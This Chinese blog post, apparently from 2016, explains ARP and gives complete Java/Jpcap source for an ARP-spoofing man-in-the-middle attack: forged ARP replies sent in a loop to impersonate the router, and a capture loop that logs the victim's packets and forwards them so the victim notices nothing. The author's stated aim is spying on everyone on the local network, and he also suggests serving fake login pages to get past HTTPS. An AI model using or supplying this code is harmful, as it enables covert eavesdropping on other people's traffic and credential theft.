起因:
吃饭的时间在想如果区域网内都是通过路由器上网,那如何实现拦截整个区域网的数据包,从而实现某种窥探欲。
思路:
正常是通过电脑网卡预先设置或分配的IP+网关对路由器进行通讯,比如访问百度:
A主机(指定网关) >> 路由器 >> DNS(域名转IP) >> 服务端(百度)
而我需要达到的目的是在, "A主机” 请求"路由器"的时间进行数据包的拦截,并转发至真正的路由器(转发目的是为了不断网,不被直接发现) ,这个时间A主机的请求数据就被我记录下来了。
疑问:
要达到上文所诉目的,需要解决以下三个疑问
1) A主机是如何跟路由器进行通讯(原理)
2) 我该如何拦截
3) 如何利用代码或工具实现拦截
问题1:
解析:A主机发送数据包肯定需要跟路由器进行交互,那么路由器的地址就一定存储在A主机的某处地方。这就需要利用到网络协议的ARP(<这是地址)协议(详情请打开查看ARP原理)。
打开命令行窗口,输入arp -a 查看缓存地址列表,可以看到的是路由器的IP地址跟MAC地址
答案:A主机发送数据包>>寻找路由器地址>>封装数据包>>路由器
问题2:
解析:通过问题1我们已经得知A主机是如何跟路由器进行数据包的通信的了。(广播式获取路由器IP地址及MAC,然后存储在ARP缓存列表。广播式就是整个频段下都可以看到,例如192.168.1.*),那我们需要做的就是主动发送一个广播给A主机,告诉它我们才是路由器。你需要发送数据包到我这里。看下图(20:f4:1b:70:8:2e 这个是我伪装的MAC地址),这样A主机发送的数据包就到我们的机器里了。同时我们还需网络转发(原理自行百度),为什么呢,因为我们需要A主机正常上网。
答案:A主机发送数据包>>伪装路由器主机>>寻找路由器地址>>封装数据包>>路由器
问题3:
解析:想一想用Java写会顺手一些,并且Java有对ARP协议支持的JAR包Jpcap。
答案:Java利用Jpcap编写arp拦截。
通过三个问题我们收获了ARP原理,及Java如何实现数据包拦截(Jpcap.jar+Jpcap.dll)
以上为整体思路,下面就是具体代码实现了。(客官看懂了吗?
开发环境:
编辑器:intellij idea 15
JDK:1.7
jar:Jpcap.jar
其它:jdk源目录下放置Jpcap.dll
公共参数类

1 /** 2 * Created by duke on 2016/11/16. 3 * arp-client 4 */ 5 public class Constants 6 { 7 public static final String version = "0.1"; 8 public static final String author = "Duke 西瓜大人"; 9 10 /************************************************************************************* 11 * 参数配置 * 12 * *********************************************************************************** 13 */ 14 public static String DE_IP = "192.168.1.159"; 15 public static String DE_MAC = "ac-bc-32-93-97-6d"; 16 public static String SRC_IP = "192.168.1.1";// 17 public static String SRC_MAC = "20-F4-1B-80-08-2E"; 18 public static int NET_WORK = 0; 19 public static int TIME = 2; 20 }
网卡工具类

1 package util; 2 3 import jpcap.JpcapCaptor; 4 import jpcap.NetworkInterface; 5 import jpcap.NetworkInterfaceAddress; 6 7 /** 8 * Created by duke on 2016/11/16. 9 * arp-client 10 */ 11 public class NetWorkUtil 12 { 13 public static void main(String[] args) { 14 getDevice(0); 15 System.out.println(">>>>>>>>>>>>>>>>>>>"); 16 getDevice(1); 17 } 18 19 /** 20 * 使用String的startsWith函数判断IP相同的开始部分相同即可 21 * @param segment 例如:192.168.1 22 * @return 23 */ 24 public static NetworkInterface getDevice(String segment) 25 { 26 NetworkInterface[] devices = JpcapCaptor.getDeviceList(); 27 for (int i =0;i<devices.length;i++) 28 { 29 NetworkInterfaceAddress[] addresses = devices[i].addresses; 30 if(addresses[1].address.toString().startsWith(segment)){ 31 return devices[i]; 32 } 33 } 34 return devices[0]; 35 } 36 public static NetworkInterface getDevice(int network) 37 { 38 NetworkInterface[] devices = JpcapCaptor.getDeviceList(); 39 NetworkInterfaceAddress[] addresses = devices[network].addresses; 40 NetworkInterface device = devices[network]; 41 return device; 42 } 43 }
ARP测试类

1 import jpcap.JpcapCaptor; 2 import jpcap.JpcapSender; 3 import jpcap.NetworkInterface; 4 import jpcap.packet.ARPPacket; 5 import jpcap.packet.EthernetPacket; 6 7 import java.net.InetAddress; 8 import java.net.UnknownHostException; 9 10 /** 11 * Created by duke on 2016/11/15. 12 * arp-client 13 * 对指定主机的拦截 14 */ 15 public class ArpTest 16 { 17 18 19 public static void main(String[] args) throws Exception { 20 sendArp(Constants.DE_IP,Constants.DE_MAC,Constants.SRC_IP,Constants.SRC_MAC,Constants.NET_WORK,Constants.TIME); 21 } 22 /** 23 * 为什么需要IP地址跟MAC地址呢?因为我们需要去对他进行ARP协议的欺骗。 24 * @param deip A主机地址(被欺骗的目标IP地址 25 * @param deMac A主机MAC地址(被欺骗的目标目标MAC数组 26 * @param srcIp 被替换Mac地址的IP地址 27 * @param srcMac 假的MAC数组,也就是我们用来捕捉数据包的主机MAC地址。 28 * @param network 发送arp的网卡,与被欺骗目标地址需要在同一网段 29 * @param time ARP重发间隔时间,不断发送防止被路由器地址替换 30 * @throws Exception 31 */ 32 static void sendArp(String deip,String deMac,String srcIp,String srcMac,int network,int time) throws Exception { 33 InetAddress desip = InetAddress.getByName(deip); 34 byte[] desmac = stomac(deMac); 35 InetAddress srcip = InetAddress.getByName(srcIp); 36 byte[] srcmac = stomac(srcMac); 37 // 枚举网卡并打开设备 38 NetworkInterface[] devices = JpcapCaptor.getDeviceList(); 39 NetworkInterface device = devices[network]; 40 JpcapSender sender = JpcapSender.openDevice(device); 41 // 设置ARP包 42 ARPPacket arp = new ARPPacket(); 43 arp.hardtype = ARPPacket.HARDTYPE_ETHER; 44 arp.prototype = ARPPacket.PROTOTYPE_IP; 45 arp.operation = ARPPacket.ARP_REPLY; 46 arp.hlen = 6; 47 arp.plen = 4; 48 arp.sender_hardaddr = srcmac; 49 arp.sender_protoaddr = srcip.getAddress(); 50 arp.target_hardaddr = desmac; 51 arp.target_protoaddr = desip.getAddress(); 52 // 设置DLC帧 53 EthernetPacket ether = new EthernetPacket(); 54 ether.frametype = EthernetPacket.ETHERTYPE_ARP; 55 ether.src_mac = srcmac; 56 ether.dst_mac = desmac; 57 arp.datalink = ether; 58 // 发送ARP应答包 59 while (true) { 60 System.out.println("send arp > "+deip); 61 sender.sendPacket(arp); 62 Thread.sleep(time * 1000); 63 } 64 } 65 static byte[] stomac(String s) 66 { 67 byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; 68 String[] s1 = s.split("-"); 69 for (int x = 0; x < s1.length; x++) 70 { 71 mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff); 72 } 73 return mac; 74 } 75 }
数据包拦截类

1 import jpcap.*; 2 import jpcap.packet.Packet; 3 import util.NetWorkUtil; 4 5 import java.io.IOException; 6 import java.io.UnsupportedEncodingException; 7 8 /** 9 * Created by duke on 2016/11/15. 10 * arp-client 11 */ 12 public class NetWorkIntercept 13 { 14 /* 15 拦截网卡数据包 16 */ 17 public static void main(String[] args) throws Exception { 18 //请先移步ArpTest运行Main函数进行ARP欺骗(记得修改参数值为你自己测试环境 19 20 //获取同网段网卡 21 NetworkInterface device = NetWorkUtil.getDevice(Constants.NET_WORK); 22 //打开网卡 23 JpcapCaptor captor = JpcapCaptor.openDevice(device,65535,false,20); 24 25 while (true) 26 { 27 //获取流量包,这个时间arp欺诈成功后,该主机的流量包就会通过你的主机网卡发送。 28 Packet p = captor.getPacket(); 29 if(p!=null) 30 { 31 byte header_byte[] = p.data; 32 String header = new String(header_byte,"ISO-8859-1"); 33 //captor.setFilter("",true); 筛选函数还在研究怎么用舒服 这里约定协议会好用一点 34 if(header.contains("qichacha")) //我觉得这种更爽 哈哈哈 35 { 36 System.out.println(header);//获取数据包干一些你该干的事情 37 JpcapSender sender = captor.getJpcapSenderInstance();//获取 38 sender.sendPacket(p);//数据包发送( 39 } 40 } 41 42 } 43 44 } 45 }
在完成以上代码后,我又碰到俩个问题,我的初衷是:“拦截整个区域网的数据包,从而实现某种窥探欲。”
可是目前关键问题是HTTP协议数据包能正常拦截,但是HTTPS是加密的阿! 而现在主流网站都是使用HTTPS加密的,过分(不过可以利用劫持来解决,比如你想登录企业qq邮箱,拦截到数据包后返回一个假的给你,这种就针对性比较强了)!!!!
另外一个问题就是我想继续修改传入传出的数据包。(留到下一步解决把,毕竟工作也挺多事情的 哈哈哈~
这个问题也暴漏了公司内部安全漏洞,试想一下,我蹲在你家公司门口,扫你家公司WIFI,一直扫到密码进去 如果没有反ARP措施,那不是随随便便的就能拿到相当多的数据了。
代码下载:https://pan.baidu.com/s/1bpECV4V (包括引用的jar包跟dll
查阅的相关文档:
http://baike.baidu.com/link?url=cUC4NJGprFT40oQ01TsEHr1XnyChb1-AoQx_gXn7s6dnxszgmJUJ6ZfQtKXLkHeWs8cRJHETFezgaVvWQ24Qo_
http://blog.csdn.net/jiasike/article/details/51026905
http://3y.uu456.com/bp_83y3a1vqlk01k8300stp_1.html
- 2楼西瓜大人
- 对了,有什么地方放代码比较合适。有哥们推荐吗。
- Re: smallsunshine
- @西瓜大人,github
- 1楼peter8823
- 遇到一个问题,为什么能看到自己网页访问内容,看不到别人访问的内容呢?
- Re: 西瓜大人
- @peter8823, 有开启arp欺骗吗?